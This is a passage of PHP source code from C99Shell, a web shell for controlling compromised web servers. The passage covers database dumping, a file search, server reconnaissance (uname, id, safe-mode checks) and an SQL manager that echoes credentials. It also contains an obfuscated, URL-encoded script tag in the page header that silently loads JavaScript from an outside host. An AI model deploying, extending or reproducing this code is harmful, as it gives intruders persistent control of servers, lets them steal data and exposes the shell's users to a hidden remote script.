582 | if (!is_array($tabs)) {$tabs = array();} |
---|
583 | if (empty($add_drop)) {$add_drop = TRUE;} |
---|
584 | if (sizeof($tabs) == 0) |
---|
585 | { |
---|
586 | // retrive tables-list |
---|
587 | $res = mysql_query("SHOW TABLES FROM ".$db, $sock); |
---|
588 | if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} |
---|
589 | } |
---|
590 | $out = "# Dumped by C99Shell.SQL v. ".$shver." |
---|
591 | # Home page: http://ccteam.ru |
---|
592 | # |
---|
593 | # Host settings: |
---|
594 | # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." |
---|
595 | # Date: ".date("d.m.Y H:i:s")." |
---|
596 | # DB: \"".$db."\" |
---|
597 | #--------------------------------------------------------- |
---|
598 | "; |
---|
599 | $c = count($onlytabs); |
---|
600 | foreach($tabs as $tab) |
---|
601 | { |
---|
602 | if ((in_array($tab,$onlytabs)) or (!$c)) |
---|
603 | { |
---|
604 | if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} |
---|
605 | // recieve query for create table structure |
---|
606 | $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); |
---|
607 | if (!$res) {$ret["err"][] = mysql_smarterror();} |
---|
608 | else |
---|
609 | { |
---|
610 | $row = mysql_fetch_row($res); |
---|
611 | $out .= $row["1"].";\n\n"; |
---|
612 | // recieve table variables |
---|
613 | $res = mysql_query("SELECT * FROM `$tab`", $sock); |
---|
614 | if (mysql_num_rows($res) > 0) |
---|
615 | { |
---|
616 | while ($row = mysql_fetch_assoc($res)) |
---|
617 | { |
---|
618 | $keys = implode("`, `", array_keys($row)); |
---|
619 | $values = array_values($row); |
---|
620 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} |
---|
621 | $values = implode("', '", $values); |
---|
622 | $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; |
---|
623 | $out .= $sql; |
---|
624 | } |
---|
625 | } |
---|
626 | } |
---|
627 | } |
---|
628 | } |
---|
629 | $out .= "#---------------------------------------------------------------------------------\n\n"; |
---|
630 | if ($file) |
---|
631 | { |
---|
632 | $fp = fopen($file, "w"); |
---|
633 | if (!$fp) {$ret["err"][] = 2;} |
---|
634 | else |
---|
635 | { |
---|
636 | fwrite ($fp, $out); |
---|
637 | fclose ($fp); |
---|
638 | } |
---|
639 | } |
---|
640 | if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} |
---|
641 | return $out; |
---|
642 | } |
---|
643 | } |
---|
644 | if (!function_exists("mysql_buildwhere")) |
---|
645 | { |
---|
646 | function mysql_buildwhere($array,$sep=" and",$functs=array()) |
---|
647 | { |
---|
648 | if (!is_array($array)) {$array = array();} |
---|
649 | $result = ""; |
---|
650 | foreach($array as $k=>$v) |
---|
651 | { |
---|
652 | $value = ""; |
---|
653 | if (!empty($functs[$k])) {$value .= $functs[$k]."(";} |
---|
654 | $value .= "'".addslashes($v)."'"; |
---|
655 | if (!empty($functs[$k])) {$value .= ")";} |
---|
656 | $result .= "`".$k."` = ".$value.$sep; |
---|
657 | } |
---|
658 | $result = substr($result,0,strlen($result)-strlen($sep)); |
---|
659 | return $result; |
---|
660 | } |
---|
661 | } |
---|
662 | if (!function_exists("mysql_fetch_all")) |
---|
663 | { |
---|
664 | function mysql_fetch_all($query,$sock) |
---|
665 | { |
---|
666 | if ($sock) {$result = mysql_query($query,$sock);} |
---|
667 | else {$result = mysql_query($query);} |
---|
668 | $array = array(); |
---|
669 | while ($row = mysql_fetch_array($result)) {$array[] = $row;} |
---|
670 | mysql_free_result($result); |
---|
671 | return $array; |
---|
672 | } |
---|
673 | } |
---|
674 | if (!function_exists("mysql_smarterror")) |
---|
675 | { |
---|
676 | function mysql_smarterror($type,$sock) |
---|
677 | { |
---|
678 | if ($sock) {$error = mysql_error($sock);} |
---|
679 | else {$error = mysql_error();} |
---|
680 | $error = htmlspecialchars($error); |
---|
681 | return $error; |
---|
682 | } |
---|
683 | } |
---|
684 | if (!function_exists("mysql_query_form")) |
---|
685 | { |
---|
686 | function mysql_query_form() |
---|
687 | { |
---|
688 | global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; |
---|
689 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} |
---|
690 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} |
---|
691 | if ((!$submit) or ($sql_act)) |
---|
692 | { |
---|
693 | echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; |
---|
694 | if ($tbl_struct) |
---|
695 | { |
---|
696 | echo "<td valign=\"top\"><b>Fields:</b><br>"; |
---|
697 | foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} |
---|
698 | echo "</td></tr></table>"; |
---|
699 | } |
---|
700 | } |
---|
701 | if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} |
---|
702 | } |
---|
703 | } |
---|
704 | if (!function_exists("mysql_create_db")) |
---|
705 | { |
---|
706 | function mysql_create_db($db,$sock="") |
---|
707 | { |
---|
708 | $sql = "CREATE DATABASE `".addslashes($db)."`;"; |
---|
709 | if ($sock) {return mysql_query($sql,$sock);} |
---|
710 | else {return mysql_query($sql);} |
---|
711 | } |
---|
712 | } |
---|
713 | if (!function_exists("mysql_query_parse")) |
---|
714 | { |
---|
715 | function mysql_query_parse($query) |
---|
716 | { |
---|
717 | $query = trim($query); |
---|
718 | $arr = explode (" ",$query); |
---|
719 | /*array array() |
---|
720 | { |
---|
721 | "METHOD"=>array(output_type), |
---|
722 | "METHOD1"... |
---|
723 | ... |
---|
724 | } |
---|
725 | if output_type == 0, no output, |
---|
726 | if output_type == 1, no output if no error |
---|
727 | if output_type == 2, output without control-buttons |
---|
728 | if output_type == 3, output with control-buttons |
---|
729 | */ |
---|
730 | $types = array( |
---|
731 | "SELECT"=>array(3,1), |
---|
732 | "SHOW"=>array(2,1), |
---|
733 | "DELETE"=>array(1), |
---|
734 | "DROP"=>array(1) |
---|
735 | ); |
---|
736 | $result = array(); |
---|
737 | $op = strtoupper($arr[0]); |
---|
738 | if (is_array($types[$op])) |
---|
739 | { |
---|
740 | $result["propertions"] = $types[$op]; |
---|
741 | $result["query"] = $query; |
---|
742 | if ($types[$op] == 2) |
---|
743 | { |
---|
744 | foreach($arr as $k=>$v) |
---|
745 | { |
---|
746 | if (strtoupper($v) == "LIMIT") |
---|
747 | { |
---|
748 | $result["limit"] = $arr[$k+1]; |
---|
749 | $result["limit"] = explode(",",$result["limit"]); |
---|
750 | if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} |
---|
751 | unset($arr[$k],$arr[$k+1]); |
---|
752 | } |
---|
753 | } |
---|
754 | } |
---|
755 | } |
---|
756 | else {return FALSE;} |
---|
757 | } |
---|
758 | } |
---|
759 | if (!function_exists("c99fsearch")) |
---|
760 | { |
---|
761 | function c99fsearch($d) |
---|
762 | { |
---|
763 | global $found; |
---|
764 | global $found_d; |
---|
765 | global $found_f; |
---|
766 | global $search_i_f; |
---|
767 | global $search_i_d; |
---|
768 | global $a; |
---|
769 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
---|
770 | $h = opendir($d); |
---|
771 | while (($f = readdir($h)) !== FALSE) |
---|
772 | { |
---|
773 | if($f != "." && $f != "..") |
---|
774 | { |
---|
775 | $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); |
---|
776 | if (is_dir($d.$f)) |
---|
777 | { |
---|
778 | $search_i_d++; |
---|
779 | if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} |
---|
780 | if (!is_link($d.$f)) {c99fsearch($d.$f);} |
---|
781 | } |
---|
782 | else |
---|
783 | { |
---|
784 | $search_i_f++; |
---|
785 | if ($bool) |
---|
786 | { |
---|
787 | if (!empty($a["text"])) |
---|
788 | { |
---|
789 | $r = @file_get_contents($d.$f); |
---|
790 | if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} |
---|
791 | if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} |
---|
792 | if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} |
---|
793 | else {$bool = strpos(" ".$r,$a["text"],1);} |
---|
794 | if ($a["text_not"]) {$bool = !$bool;} |
---|
795 | if ($bool) {$found[] = $d.$f; $found_f++;} |
---|
796 | } |
---|
797 | else {$found[] = $d.$f; $found_f++;} |
---|
798 | } |
---|
799 | } |
---|
800 | } |
---|
801 | } |
---|
802 | closedir($h); |
---|
803 | } |
---|
804 | } |
---|
805 | if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} |
---|
806 | //Sending headers |
---|
807 | @ob_start(); |
---|
808 | @ob_implicit_flush(0); |
---|
809 | function onphpshutdown() |
---|
810 | { |
---|
811 | global $gzipencode,$ft; |
---|
812 | if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) |
---|
813 | { |
---|
814 | $v = @ob_get_contents(); |
---|
815 | @ob_end_clean(); |
---|
816 | @ob_start("ob_gzHandler"); |
---|
817 | echo $v; |
---|
818 | @ob_end_flush(); |
---|
819 | } |
---|
820 | } |
---|
821 | function c99shexit() |
---|
822 | { |
---|
823 | onphpshutdown(); |
---|
824 | exit; |
---|
825 | } |
---|
826 | header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); |
---|
827 | header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); |
---|
828 | header("Cache-Control: no-store, no-cache, must-revalidate"); |
---|
829 | header("Cache-Control: post-check=0, pre-check=0", FALSE); |
---|
830 | header("Pragma: no-cache"); |
---|
831 | if (empty($tmpdir)) |
---|
832 | { |
---|
833 | $tmpdir = ini_get("upload_tmp_dir"); |
---|
834 | if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} |
---|
835 | } |
---|
836 | $tmpdir = realpath($tmpdir); |
---|
837 | $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); |
---|
838 | if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} |
---|
839 | if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} |
---|
840 | else {$tmpdir_logs = realpath($tmpdir_logs);} |
---|
841 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") |
---|
842 | { |
---|
843 | $safemode = TRUE; |
---|
844 | $hsafemode = "<font color=red>ON (secure)</font>"; |
---|
845 | } |
---|
846 | else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} |
---|
847 | $v = @ini_get("open_basedir"); |
---|
848 | if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} |
---|
849 | else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} |
---|
850 | $sort = htmlspecialchars($sort); |
---|
851 | if (empty($sort)) {$sort = $sort_default;} |
---|
852 | $sort[1] = strtolower($sort[1]); |
---|
853 | $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); |
---|
854 | if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} |
---|
855 | $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); |
---|
856 | @ini_set("highlight.bg",$highlight_bg); //FFFFFF |
---|
857 | @ini_set("highlight.comment",$highlight_comment); //#FF8000 |
---|
858 | @ini_set("highlight.default",$highlight_default); //#0000BB |
---|
859 | @ini_set("highlight.html",$highlight_html); //#000000 |
---|
860 | @ini_set("highlight.keyword",$highlight_keyword); //#007700 |
---|
861 | @ini_set("highlight.string",$highlight_string); //#DD0000 |
---|
862 | if (!is_array($actbox)) {$actbox = array();} |
---|
863 | $dspact = $act = htmlspecialchars($act); |
---|
864 | $disp_fullpath = $ls_arr = $notls = null; |
---|
865 | $ud = urlencode($d); |
---|
866 | ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b><Script Language='Javascript'> |
---|
867 | <!-- |
---|
868 | document.write(unescape('%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%72%35%37%2E%6C%69%2F%69%6D%61%67%65%73%2F%69%6D%67%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E%0D%0A')); |
---|
869 | //--> |
---|
870 | </Script>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software: <?php echo $DISP_SERVER_SOFTWARE; ?></b> </p><p align="left"><b>uname -a: <?php echo wordwrap(php_uname(),90,"<br>",1); ?></b> </p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b> </p><p align="left"><b>Safe-mode: <?php echo $hsafemode; ?></b></p><p align="left"><?php |
---|
871 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
---|
872 | if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} |
---|
873 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
---|
874 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
---|
875 | $d = str_replace("\\\\","\\",$d); |
---|
876 | $dispd = htmlspecialchars($d); |
---|
877 | $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); |
---|
878 | $i = 0; |
---|
879 | foreach($pd as $b) |
---|
880 | { |
---|
881 | $t = ""; |
---|
882 | $j = 0; |
---|
883 | foreach ($e as $r) |
---|
884 | { |
---|
885 | $t.= $r.DIRECTORY_SEPARATOR; |
---|
886 | if ($j == $i) {break;} |
---|
887 | $j++; |
---|
888 | } |
---|
889 | echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; |
---|
890 | $i++; |
---|
891 | } |
---|
892 | echo " "; |
---|
893 | if (is_writable($d)) |
---|
894 | { |
---|
895 | $wd = TRUE; |
---|
896 | $wdt = "<font color=green>[ ok ]</font>"; |
---|
897 | echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; |
---|
898 | } |
---|
899 | else |
---|
900 | { |
---|
901 | $wd = FALSE; |
---|
902 | $wdt = "<font color=red>[ Read-Only ]</font>"; |
---|
903 | echo "<b>".view_perms_color($d)."</b>"; |
---|
904 | } |
---|
905 | if (is_callable("disk_free_space")) |
---|
906 | { |
---|
907 | $free = disk_free_space($d); |
---|
908 | $total = disk_total_space($d); |
---|
909 | if ($free === FALSE) {$free = 0;} |
---|
910 | if ($total === FALSE) {$total = 0;} |
---|
911 | if ($free < 0) {$free = 0;} |
---|
912 | if ($total < 0) {$total = 0;} |
---|
913 | $used = $total-$free; |
---|
914 | $free_percent = round(100/($total/$free),2); |
---|
915 | echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; |
---|
916 | } |
---|
917 | echo "<br>"; |
---|
918 | $letters = ""; |
---|
919 | if ($win) |
---|
920 | { |
---|
921 | $v = explode("\\",$d); |
---|
922 | $v = $v[0]; |
---|
923 | foreach (range("a","z") as $letter) |
---|
924 | { |
---|
925 | $bool = $isdiskette = in_array($letter,$safemode_diskettes); |
---|
926 | if (!$bool) {$bool = is_dir($letter.":\\");} |
---|
927 | if ($bool) |
---|
928 | { |
---|
929 | $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; |
---|
930 | if ($letter.":" != $v) {$letters .= $letter;} |
---|
931 | else {$letters .= "<font color=green>".$letter."</font>";} |
---|
932 | $letters .= " ]</a> "; |
---|
933 | } |
---|
934 | } |
---|
935 | if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} |
---|
936 | } |
---|
937 | if (count($quicklaunch) > 0) |
---|
938 | { |
---|
939 | foreach($quicklaunch as $item) |
---|
940 | { |
---|
941 | $item[1] = str_replace("%d",urlencode($d),$item[1]); |
---|
942 | $item[1] = str_replace("%sort",$sort,$item[1]); |
---|
943 | $v = realpath($d.".."); |
---|
944 | if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} |
---|
945 | $item[1] = str_replace("%upd",urlencode($v),$item[1]); |
---|
946 | echo "<a href=\"".$item[1]."\">".$item[0]."</a> "; |
---|
947 | } |
---|
948 | } |
---|
949 | echo "</p></td></tr></table><br>"; |
---|
950 | if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} |
---|
951 | echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; |
---|
952 | if ($act == "") {$act = $dspact = "ls";} |
---|
953 | if ($act == "sql") |
---|
954 | { |
---|
955 | $sql_surl = $surl."act=sql"; |
---|
956 | if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} |
---|
957 | if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} |
---|
958 | if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} |
---|
959 | if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} |
---|
960 | if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} |
---|
961 | $sql_surl .= "&"; |
---|
962 | ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php |
---|
963 | if ($sql_server) |
---|
964 | { |
---|
965 | $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); |
---|
966 | $err = mysql_smarterror(); |
---|
967 | @mysql_select_db($sql_db,$sql_sock); |
---|
968 | if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} |
---|
969 | } |
---|
970 | else {$sql_sock = FALSE;} |
---|
971 | echo "<b>SQL Manager:</b><br>"; |
---|
972 | if (!$sql_sock) |
---|
973 | { |
---|
974 | if (!$sql_server) {echo "NO CONNECTION";} |
---|
975 | else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} |
---|
976 | } |
---|
977 | else |
---|
978 | { |
---|
979 | $sqlquicklaunch = array(); |
---|
980 | $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); |
---|
981 | $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); |
---|
982 | $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); |
---|
983 | $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); |
---|
984 | $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); |
---|
985 | $sqlquicklaunch[] = array("Logout",$surl."act=sql"); |
---|
986 | echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; |
---|
987 | if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} |
---|
988 | echo "</center>"; |
---|
989 | } |
---|
990 | echo "</td></tr><tr>"; |
---|
991 | if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } |
---|
992 | else |
---|
993 | { |
---|
994 | //Start left panel |
---|
995 | if (!empty($sql_db)) |
---|
996 | { |
---|
997 | ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php |
---|
998 | $result = mysql_list_tables($sql_db); |
---|
999 | if (!$result) {echo mysql_smarterror();} |
---|
1000 | else |
---|
1001 | { |
---|
1002 | echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; |
---|
1003 | $c = 0; |
---|
1004 | while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} |
---|
1005 | if (!$c) {echo "No tables found in database.";} |
---|
1006 | } |
---|
1007 | } |
---|
1008 | else |
---|
1009 | { |
---|
1010 | ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php |
---|
1011 | $result = mysql_list_dbs($sql_sock); |
---|
1012 | if (!$result) {echo mysql_smarterror();} |
---|
1013 | else |
---|
1014 | { |
---|
1015 | ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php |
---|
1016 | $c = 0; |
---|
1017 | $dbs = ""; |
---|
1018 | while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} |
---|
1019 | echo "<option value=\"\">Databases (".$c.")</option>"; |
---|
1020 | echo $dbs; |
---|
1021 | } |
---|
1022 | ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php |
---|
1023 | } |
---|
1024 | //End left panel |
---|
1025 | echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; |
---|
1026 | //Start center panel |
---|
1027 | $diplay = TRUE; |
---|
1028 | if ($sql_db) |
---|
1029 | { |
---|
1030 | if (!is_numeric($c)) {$c = 0;} |
---|
1031 | if ($c == 0) {$c = "no";} |
---|
1032 | echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; |
---|
1033 | if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} |
---|
1034 | echo "</b></center>"; |
---|
1035 | $acts = array("","dump"); |
---|
1036 | if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} |
---|
1037 | elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} |
---|
